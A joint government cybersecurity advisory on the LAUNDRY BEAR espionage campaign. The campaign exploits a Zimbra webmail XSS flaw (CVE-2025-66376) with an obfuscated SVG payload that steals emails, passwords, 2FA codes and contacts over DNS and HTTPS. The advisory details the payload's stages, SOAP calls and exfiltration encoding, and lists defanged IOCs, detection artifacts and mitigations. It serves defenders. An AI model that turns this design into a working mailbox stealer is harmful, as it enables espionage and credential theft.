To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost
2 Forsvarets Efterretningstjeneste
3 VĂ€lisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction générale de la sécurité intérieure
7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 SƂuĆŒba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt CybersÀkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

